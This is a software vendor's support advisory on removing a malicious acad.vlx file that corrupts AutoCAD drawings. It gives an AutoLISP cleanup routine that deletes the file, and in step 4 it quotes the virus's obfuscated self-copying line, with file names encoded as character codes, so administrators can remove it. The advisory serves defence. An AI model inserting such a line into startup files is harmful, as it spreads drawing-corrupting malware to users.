AutoCAD Services & Support

Acad.vlx Virus Cleanup

Published date: 2009-Aug-07
ID: TS13717811

Applies to:
AutoCAD® 2010
AutoCAD® 2009
AutoCAD® 2008
AutoCAD® 2007
AutoCAD® Architecture 2010
AutoCAD® Architecture 2009
AutoCAD® Architecture 2008
Autodesk® Architectural Desktop 2007
AutoCAD® Civil 2010
AutoCAD® Civil 2009
AutoCAD® Civil 3D® 2010
AutoCAD® Civil 3D® 2009
AutoCAD® Civil 3D® 2008
Autodesk® Civil 3D® 2007
AutoCAD® Electrical 2010
AutoCAD® Electrical 2009
AutoCAD® Electrical 2008
AutoCAD® Electrical 2007
AutoCAD® Map 3D 2010
AutoCAD® Map 3D 2009
AutoCAD® Map 3D 2008
Autodesk Map® 3D 2007
AutoCAD® Mechanical 2010
AutoCAD® Mechanical 2009
AutoCAD® Mechanical 2008
AutoCAD® Mechanical 2007
AutoCAD® MEP 2010
AutoCAD® MEP 2009
AutoCAD® MEP 2008
AutoCAD® P&ID 2010
AutoCAD® P&ID 2009
AutoCAD® P&ID 2008
AutoCAD® Raster Design 2010
AutoCAD Raster Design 2009
AutoCAD Raster Design 2008
Autodesk® Raster Design 2007

Issue

Users of AutoCAD-based products have reported a malicious acad.vlx file that causes drawing corruption.

Solution

This is not an actual AutoCAD file provided by Autodesk. When the malicious acad.vlx file is loaded in AutoCAD, it corrupts the drawing, which may result in a Missing Language Pack dialog box displaying when you save and reopen the drawing.

The acad.vlx file creates a copy of itself in the Help folder (for example, C:\Program Files\AutoCAD 2010\Help\logo.gif). Several other files are also modified and the ACADLSPASDOC system variable is set to 1, allowing the acad.vlx file to be loaded into other opened drawings, thereby corrupting them.

The cleanup process outlined below detects and deletes any acad.vlx file before AutoCAD attempts to load it, preventing the spread of the virus.

To prevent additional file corruptions

You must be a system administrator on your Microsoft® Windows® operating system to complete this process.

  1. In your product installation folder, locate the Support folder (for example, C:\Program Files\AutoCAD 2010\Support).

  2. In the Support folder, double-click the acad20xx.lsp file (for example, the acad2010.lsp file). Add the code below to the file. AutoCAD will detect and delete the acad.vlx and logo.gif files.

    (defun cleanvirus( / lspfiles lspfile x)
      (setq lspfiles '("acad.vlx" "logo.gif"))
      (foreach lspfile lspfiles
        (while (setq x (findfile lspfile))
          (progn
            (vl-file-delete x)
            (princ "\nDeleted file ")
            (princ x)
          );progn
        );while
      );foreach
    )
    (cleanvirus)

  3. Open each of the following files:
    • C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp
    • C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp
    • ROAMABLEROOTPREFIX\Support\acad.mnl
      Note: Replace ROAMABLEROOTPREFIX with the value returned by the ROAMABLEROOTPREFIX system variable.
  4. If present, delete the following line of code:

    (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))

  5. Save each file.

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